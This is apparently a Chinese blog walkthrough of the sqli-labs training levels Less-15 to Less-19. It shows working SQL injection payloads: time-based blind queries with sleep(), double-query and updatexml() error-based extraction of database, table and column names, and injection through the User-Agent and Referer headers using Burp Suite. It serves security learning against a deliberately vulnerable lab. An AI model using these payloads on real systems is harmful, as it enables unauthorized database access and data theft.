sqli靶场Less15-19-程序员宅基地

技术标签: sql  

Less-15:

尝试输入万能语句'or 1=1,尝试后发现为单引号闭合,登录成功

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

查看源码, 报错信息被注释,可以使用时间型或布尔型进行尝试

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

猜数据库,缩小范围,猜出库名为security

uname=1   passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #

uname=1   passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

Less-16:

查看源码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

使用万能语句:1") or 1=1 -- #   确认为带双引号的字符型注入。跟上一关一样,布尔型,时间型都可以使用。

猜数据库长度:  uname=1      passwd=1") or if(length(database())=8,1,sleep(5))-- #

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

Less-17:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16   

多次尝试后发现总是出现"已成功输入您的密码",查看源码,发现对user name进行了过滤。

check_input()的作用是检查用户输入,并将用户输入安全化,其中mysql_real_escape_string()会在\x00, \n, \r, \, ', " and \x1a这些字符前加入反斜线进行转义,防止注入,同时也避免了宽字节注入。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

尝试单引号闭合:

sql="select username, password from users where username= uname limit 0,1"; update="updata users set password = 'passwd' where username='row1'"

考虑到不能回显有意义的信息,用双注入查询 构造如下:

user name:admin ,而new password:' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

1f7550eabbe6ea178781f3bd24ea02f7.png

使用updatexml()注入:'and updatexml(1,concat('~',(select version())),1)# 获取版本信息

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

查数据库:'and updatexml(1,concat('~',(select database())),1)#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

 查表名:' and updatexml(1,concat('~',(select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),1)#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

查列名:' and updatexml(1,concat('~',(select concat(column_name,';') from information_schema.columns where table_name='emails' limit 0,1)),1)#

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

Less-18:

进入后显示Your IP address is: xx.xx.xx.xx  尝试输入常用注释,只显示:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

 查看源码:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_16,color_FFFFFF,t_70,g_se,x_16

 发现uname和passwd都被过滤

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

只有用户再登陆成功后才会显示用户的user agent,并将uagent, ip_address, username插入到了uagents表中。

insert="insert into 'security'.'uagents'('uagnet','ip_address','username') values ('uagents','ip',uname)";并没有被进行过滤,可以从uagent下手。

使用BurpSuite抓包,修改User-Agent:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

查数据库:

 ' and updatexml(1,concat('~',(select database())),1) and '1'='1

f7b5a572c277b6ad1aa4331809eb6fe8.png

Less-19:

输入admin后只显示了个Referer

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

查看源码,使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6IiS5Z-O55qE5b6Q5aSr5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16

输入正确的用户名密码:username=admin   password=admin,之后使用Burp Suite抓包,修改referer。

 

获取所有数据库名:

1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name)from information_schema.schemata),1,31)),3) and '

 

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_53860392/article/details/124218950

智能推荐

Windows主机-WordPress设置固定链接伪静态的方法_wordpress生成固链接-程序员宅基地

文章浏览阅读1.1k次。1、WordPress为什么要设置固定链接伪静态这个问题是很简单的,因为搜索引擎比较喜欢静态的页面,觉得他是很简洁高效的,权重和收录都好一些2、下面就是微知找到的设置教程了:设置WordPress在Windows主机环境下伪静态固定链接的方法:我们都知道Linux主机支持WordPress伪静态固定链接,如果你使用的空间是Linux主机就比较简单安装好WP程序登陆,在WordPrcess的后台点设置(Options),点固定链接(Permalinks)这里一共有5个选项,前四个选项直接选择就可以支持,不需要_wordpress生成固链接

如何用selenium或pyppeteer来链接并打开指纹浏览器AdsPower_adspower selenium-程序员宅基地

文章浏览阅读4k次。本文是该专栏的第25篇,后面会持续分享python的爬虫干货知识,记得关注。一般来说,选择使用自动化工具来做爬虫算是一种退而求其次的方法,但是要注意的是,面对那种需要模拟登录进行操作,或者是需要模拟登录拿到cookie再交给协议请求来说,自动化的方法那就是爬虫攻城狮的首选了。做过自动化的朋友都熟悉,selenium自身没有浏览器的驱动,它需要浏览器的驱动支持,即WebDriver,而selenium想要打开某个浏览器,需要下载对应浏览器的驱动就可以,比如_adspower selenium

C#调用opencv-程序员宅基地

文章浏览阅读993次。最经做一个项目,底层调用openCV编写的图像处理程序,用户界面采用C#编写。 于是学习了相关技术,总结如下:C#编写的是托管代码,编译生成微软中间语言,而普通C++代码则编译生成本地机器码,这两种语言不能直接混合编程。常见的方式是:1)将本机C++代码(指非托管C++)编译成一个dll,供C#调用,调用方法为 [DllImport(×××.dll)] 。但是这里只能从 DLL 导出..._c# 引用opencv

虚拟机装12-Mac OS X 10.13_mac os x 10.13 虚拟机固件-程序员宅基地

文章浏览阅读1.4k次。使用Vmware14安装黑苹果系统macos10.13傻瓜教程本来首先是首先想到用hyper-v的,不过看了一圈hyper-v安装黑苹果没有成功的案例,国外论坛给出的回复也是impossible,就放弃了。而VMware和vbox是可以成功安装的,VMware安装比较适合安装,我就选择了VMware。一、工具&材料:1、Vmware 本体,我写文章的时候最新版是14;Vm..._mac os x 10.13 虚拟机固件

【100个 Unity踩坑小知识点】| Unity控制物体持续指向某个方向_unity物体指定方向-程序员宅基地

文章浏览阅读10w+次,点赞30次,收藏80次。Unity 小科普老规矩,先介绍一下 Unity 的科普小知识:Unity是 实时3D互动内容创作和运营平台 。包括游戏开发、美术、建筑、汽车设计、影视在内的所有创作者,借助 Unity 将创意变成现实。Unity 平台提供一整套完善的软件解决方案,可用于创作、运营和变现任何实时互动的2D和3D内容,支持平台包括手机、平板电脑、PC、游戏主机、增强现实和虚拟现实设备。 也可以简单把 Unity 理解为一个游戏引擎,可以用来专业制作游戏!_unity物体指定方向

android intent打开各种格式文档方法_android intent 去打开zip文件-程序员宅基地

文章浏览阅读4k次,点赞4次,收藏6次。我们开发的时候经常碰到打开各种文档,目前的应用处理方式 基本都是依赖于三方软件打开 ,而不是在应用内打开,因为文件格式有很多,倘若都在应用内打开的话,肯定要增加很大的开发时间和开发成本,而且实现效果没有一些三方的app实现的效果好。话不多说,给大_android intent 去打开zip文件

随便推点

python界面设计工具-wxFormBuilder_vscode wxformbuilder-程序员宅基地

文章浏览阅读7.8k次,点赞7次,收藏69次。一 wxFormBuilder是什么wxFormBuilder是一款可视化的GUI设计工具,界面设计后可以自动生成代码,免去了手工码gui的繁琐,一套界面可支持生成C++\Python\PHP\Lua\XRC等代码形式,可以极大提升python GUI开发效能。项目发布网址:https://github.com/wxFormBuilder/wxFormBuilder/releases..._vscode wxformbuilder

Ubuntu 彻底删除 MYSQL 然后重装 MYSQL_sudo apt-get remove mysql-common-程序员宅基地

文章浏览阅读268次。删除 mysqlsudo apt-get autoremove --purge mysql-server-5.0sudo apt-get remove mysql-serversudo apt-get autoremove mysql-serversudo apt-get remove mysql-common //这个很重要上面的其实有一些是多余的。清理残_sudo apt-get remove mysql-common

SqlServer查询数据中所有表及所有的字段名和字段属性_sql 所有表 条件查询-程序员宅基地

文章浏览阅读2k次。------sqlserver 查询某个表的列名称、说明、备注、类型等SELECT 表名 = case when a.colorder=1 then d.name else '' end, 表说明 = case when a.colorder=1 then isnull(f.value,'') else '' end, 字段序号 = a.col..._sql 所有表 条件查询

Spark抽取mysql中的数据到Hive中_spark怎么jdbc写入到hive-程序员宅基地

文章浏览阅读5.6k次,点赞5次,收藏81次。提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录思路一、案例介绍二、具体步骤1.编写scala程序完成从mysql讲数据导出成csv文件2.打包成jar包提交到集群上3.将hdfs上的这个文件下载到本地目录下4.将本地数据文件的数据加载到hive中总结思路spark抽取mysql中的数据到hive中,可通过以下2步完成:1.先将mysql中的数据抽取到存放再hdfs上的一个文件(.csv,.txt)2.再讲文件通过load命令加载到hive中下面用具体案例演示一._spark怎么jdbc写入到hive

解决Mysql 主从或主主报1032错误_last_errno: 1032-程序员宅基地

文章浏览阅读8.2k次,点赞2次,收藏7次。1032错误的主要原因是主库更新或者是删除的记录在从库上不存在引起的。处理此种错误一般有两种思路:1、直接跳过错误执行语句2、找到错误执行语句,修复从库数据第一种解决方案会有造成主从不一致的隐患(delete语句可以跳过),第二种是从根本上解决问题比较推荐语句跳过操作方法如下:1032 错误提示如下:Replicate_Wild_Ignore_Table: ..._last_errno: 1032

button按钮居中_button居中-程序员宅基地

文章浏览阅读1.2w次,点赞3次,收藏7次。今天在写页面时,发现给button按钮设置居中时,css页面写了text-align="center",但是不起作用,用了display属性也无作用,试了好多次发现要给button按钮添加个div,然..._button居中